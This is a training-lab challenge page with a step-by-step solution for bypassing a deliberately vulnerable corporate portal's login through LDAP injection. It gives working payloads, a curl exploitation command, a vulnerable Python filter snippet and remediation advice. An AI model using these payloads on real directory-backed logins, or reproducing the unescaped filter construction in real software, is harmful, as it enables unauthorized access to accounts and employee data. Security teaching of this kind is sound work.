Labs / LDAP Injector

Challenge
Released 03 Sep 2025

🔐 Can you bypass enterprise authentication using directory manipulation?

A corporate employee portal relies on LDAP directory services for secure authentication, implementing enterprise-grade access controls. But when user input meets insufficient query sanitization, even the most trusted directory systems can become gateways to unauthorized access. 🎯 Time to test your directory injection skills against real-world authentication mechanisms!

Flags

Points

Challenge

Solution Available

Pro Exclusive

Start Lab Environment

~1-2 min setup

AWS dedicated

Private instance

Industry standard

Challenge

🔐 LDAP Injector - Complete Authentication Bypass Solution

Objective: Exploit LDAP injection vulnerabilities in a corporate employee portal to bypass authentication and gain administrative access to retrieve the flag.

🔍 Step 1: Understanding LDAP Injection

LDAP injection occurs when user input is directly concatenated into LDAP search filters without proper sanitization. LDAP uses a specific filter syntax with operators like & (AND), | (OR), and ! (NOT), along with wildcards like *.

Normal LDAP Filter:
(&(cn=username)(userPassword=password))

Vulnerable Construction:
(&(cn={user_input})(userPassword={password_input}))

🔍 Step 2: Initial Application Analysis

Navigate to to access the SecureCorp Employee Portal. The application presents a standard login form with test credentials provided:

Username: jdoe | Password: password123
Username: asmith | Password: welcome456

Test these credentials to understand normal application behavior and observe the user dashboard functionality.

🔍 Step 3: Identifying the Vulnerability

The application constructs LDAP filters by directly concatenating user input:

# Vulnerable code pattern
ldap_filter = f"(&(cn={username})(userPassword={password}))"

This construction allows attackers to manipulate the filter logic by injecting LDAP operators and wildcards.

🔍 Step 4: Basic LDAP Injection Testing

Start with simple injection attempts to understand the application's behavior:

Wildcard Injection

# Try wildcard in username field
Username: *
Password: anything

# This attempts to match any user

Filter Manipulation

# Try closing the filter early
Username: *)(
Password: anything

# This attempts to break filter logic

🔍 Step 5: Successful Authentication Bypass

The most effective LDAP injection payload uses a wildcard to bypass authentication:

Working Payload:
Username: *
Password: (any value)

How this works:

The application constructs: (&(cn=*)(userPassword=anything))
The wildcard * matches any username in the directory
The application returns the first matching user from the LDAP directory
If an IT department user is found first, you gain administrative access

🔍 Step 6: Alternative Injection Techniques

Boolean Logic Manipulation

# OR injection attempt
Username: admin)(|(cn=*
Password: anything

# Resulting filter:
# (&(cn=admin)(|(cn=*)(userPassword=anything))

Filter Termination

# Early filter termination
Username: *)(*
Password: anything

# Attempts to close and reopen filter

🔍 Step 7: Gaining Administrative Access

When the wildcard injection succeeds, the application may return an administrative user account. Look for users in the IT department who have elevated privileges:

Successful Login Indicators:

Dashboard shows "Administrative Access Granted"
User department shows "IT"
Flag is displayed in the system access section
User has elevated privileges and system information access

🔍 Step 8: Flag Extraction

Once you successfully bypass authentication and gain administrative access:

The dashboard will display user information
Look for the "System Access" section on the right side
Administrative users (IT department) will see an "Administrative Access Granted" message
The flag will be displayed in a code block within this section

Flag Location: The flag appears in the dashboard's "System Access" section when logged in as an administrative user (IT department member).

🔍 Step 9: Understanding the Exploitation

The vulnerability exists because:

# Vulnerable Flask code
ldap_filter = f"(&(cn={username})(userPassword={password}))"

# When username = "*"
# The filter becomes:
# (&(cn=*)(userPassword=anything))

# The wildcard matches any user, bypassing authentication

🔍 Step 10: Advanced LDAP Injection Techniques

Attribute Enumeration

# Enumerate user attributes
Username: *)(mail=*
Password: anything

# Attempts to find users with email

Department Targeting

# Target specific departments
Username: *)(department=IT
Password: anything

# Specifically targets IT users

Blind Injection

# Boolean-based enumeration
Username: *)(cn=a*
Password: anything

# Tests for users starting with 'a'

🔍 Step 11: Exploitation Methods

Using Browser

Navigate to
Enter * as username
Enter any password
Click Login
Look for administrative access message
Copy the flag from the dashboard

Using cURL

# POST login request
curl -X POST /login \
  -d "username=*&password=test" \
  -L

# Look for flag in response HTML

Using Burp Suite

Intercept login request
Modify username to *
Forward the request
Analyze response for flag
Use Burp's HTML viewer for clarity

🔍 Step 12: LDAP Filter Syntax Reference

Operator	Description	Example
`&`	AND operation	`(&(cn=user)(mail=*))`
`\|`	OR operation	`(\|(cn=admin)(cn=root))`
`!`	NOT operation	`(!(department=Sales))`
`*`	Wildcard	`(cn=*)`
`=`	Equality	`(cn=john)`
`~=`	Approximate	`(cn~=jon)`

🔍 Step 13: Security Implications

LDAP injection vulnerabilities can lead to:

Authentication Bypass: Gain unauthorized access to applications
Information Disclosure: Extract sensitive directory information
Privilege Escalation: Access administrative accounts
Directory Enumeration: Map organizational structure and users
Data Exfiltration: Access confidential employee information

🔍 Step 14: Remediation Strategies

To prevent LDAP injection vulnerabilities:

Input Sanitization: Escape LDAP special characters in user input
Parameterized Queries: Use LDAP libraries with proper parameter binding
Input Validation: Whitelist allowed characters and patterns
Least Privilege: Use service accounts with minimal LDAP permissions
Security Testing: Regular penetration testing of authentication systems
Character Escaping: Properly escape characters like *, (, ), &, |

LDAP Special Characters to Escape:
* ( ) \ / NUL and other control characters should be properly escaped or filtered from user input.

Flag Retrieval: The flag is displayed in the dashboard when you successfully authenticate as an administrative user (IT department) using the wildcard LDAP injection technique.

Real-World Application: This challenge demonstrates realistic LDAP injection techniques commonly found in enterprise environments. The wildcard bypass is a fundamental technique used in penetration testing against directory-based authentication systems.